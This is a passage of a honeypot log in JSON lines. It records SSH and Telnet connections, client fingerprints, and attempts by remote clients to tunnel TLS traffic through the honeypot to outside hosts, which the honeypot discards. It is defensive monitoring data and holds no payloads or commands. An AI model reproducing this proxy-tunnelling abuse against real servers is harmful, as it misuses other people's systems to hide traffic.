x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:04:04.869168Z","src_ip":"123.27.168.40","session":"0aad5c380526","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:04:05.373940Z","session":"0aad5c380526","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:04:05.632885Z","src_ip":"123.27.168.40","session":"0aad5c380526","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc2.\\xcb\\xae\\x9c\\xabs`NH\\xf0\\xdfd\\xe5\\x1b\\x8b\\xc5!\\xa4\\xaf[\\xe5\"\\xd5\\xc4`\\'\\t\\x96UB\\xf7 t\\xea\\x10\\x052,\\x92\\xd2I\\x1f_Y\"-\\t:b#6\\xbeI~\\x9a,7jxj\\x03\\xc0\\xe2k\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x15;d\\x8a\\xc8\\r4\\xec\\xc0 \\xfa\\x8ccF5\\xcd\\x85\\xf7%\\\\T;\\x12>kHR\\xc9 /%\\n\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc2.\\xcb\\xae\\x9c\\xabs`NH\\xf0\\xdfd\\xe5\\x1b\\x8b\\xc5!\\xa4\\xaf[\\xe5\"\\xd5\\xc4`\\'\\t\\x96UB\\xf7 t\\xea\\x10\\x052,\\x92\\xd2I\\x1f_Y\"-\\t:b#6\\xbeI~\\x9a,7jxj\\x03\\xc0\\xe2k\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x15;d\\x8a\\xc8\\r4\\xec\\xc0 \\xfa\\x8ccF5\\xcd\\x85\\xf7%\\\\T;\\x12>kHR\\xc9 /%\\n\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:04:05.636305Z","src_ip":"123.27.168.40","session":"0aad5c380526","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:04:06.432092Z","src_ip":"123.27.168.40","session":"0aad5c380526","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.79783844947815,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:04:06.698143Z","src_ip":"128.199.8.54","session":"7dd851a8c09a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.129","src_port":27048,"dst_ip":"10.17.0.5","dst_port":22,"session":"24534c5859d5","protocol":"ssh","message":"New connection: 66.132.172.129:27048 (10.17.0.5:22) [session: 24534c5859d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:04:07.645851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:04:07.696928Z","src_ip":"66.132.172.129","session":"24534c5859d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"873a5fb5fedc2d4f8638ebde4abc6cfc","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 873a5fb5fedc2d4f8638ebde4abc6cfc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:04:07.715942Z","src_ip":"66.132.172.129","session":"24534c5859d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.129","src_port":39068,"dst_ip":"10.17.0.5","dst_port":23,"session":"89f698675ac3","protocol":"telnet","message":"New connection: 66.132.172.129:39068 (10.17.0.5:23) [session: 89f698675ac3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:04:07.949899Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:04:08.522539Z","session":"580efc54643b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:04:08.558247Z","src_ip":"173.208.188.210","session":"580efc54643b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03A\\xfa\\x88\\x1d\\xce\\x06uX'\\xb4\\xbd\\n\\xc3k_\\xaf\\x17F\\xceJ\\xff\\xe5\\xa2\\x91\\x02\\xa7\\xca\\xc9\\xfd\\xfd\\xb2\\x1d \\n\\xb2\\xf2\\xf3\\x13\\x96`\\x1b\\x91\\xfe@mc\\x9f\\x8d\\xca\\xb0\\x0f\\xc6\\xa1\\x07\\xb2sp\\x10\\n\\xb99\\xa4!r\\x95\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xdb\\xe7v\\xd6O1\\x957+TMs\\x87\\xb8\\x082\\xe4U+\\x9f\\xa9\\xca\\r\\x10U+]s\\xb4>\\xd4y\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to 172.67.133.8:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03A\\xfa\\x88\\x1d\\xce\\x06uX'\\xb4\\xbd\\n\\xc3k_\\xaf\\x17F\\xceJ\\xff\\xe5\\xa2\\x91\\x02\\xa7\\xca\\xc9\\xfd\\xfd\\xb2\\x1d \\n\\xb2\\xf2\\xf3\\x13\\x96`\\x1b\\x91\\xfe@mc\\x9f\\x8d\\xca\\xb0\\x0f\\xc6\\xa1\\x07\\xb2sp\\x10\\n\\xb99\\xa4!r\\x95\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xdb\\xe7v\\xd6O1\\x957+TMs\\x87\\xb8\\x082\\xe4U+\\x9f\\xa9\\xca\\r\\x10U+]s\\xb4>\\xd4y\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:04:08.563731Z","src_ip":"173.208.188.210","session":"580efc54643b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:04:08.622221Z","session":"580efc54643b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:04:08.629240Z","session":"580efc54643b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:04:08.658762Z","src_ip":"173.208.188.210","session":"580efc54643b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x1dz\\x18\\x12\\xe9yqe\\xbfy\\xd0&\\xe4\\x80\\xe4\\x97\\x9b\\xf6K\\xdc\\x1d6 \\x1f\\xe1\\xad\\x88W\\xc3\\x94A\\xaf ^I8\\xd1\\xccLag`o\\x80zr+\\xb9\\xac\\xfde\\xd6\\xe5k\\xb7?\\xe9\\xd6\\x87\\x0c2N\\xa9sC\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 3\\xf2\\xfb\\x12D0\\xe8\\n\\xfaX\\xfeK\\xfaK\\x17\\xb4\\xe28\\xca\\xb7\\xd3\\xf2\\xa9<J\\x92\\xb1\\xef)\\t\\xd6|\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x1dz\\x18\\x12\\xe9yqe\\xbfy\\xd0&\\xe4\\x80\\xe4\\x97\\x9b\\xf6K\\xdc\\x1d6 \\x1f\\xe1\\xad\\x88W\\xc3\\x94A\\xaf ^I8\\xd1\\xccLag`o\\x80zr+\\xb9\\xac\\xfde\\xd6\\xe5k\\xb7?\\xe9\\xd6\\x87\\x0c2N\\xa9sC\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 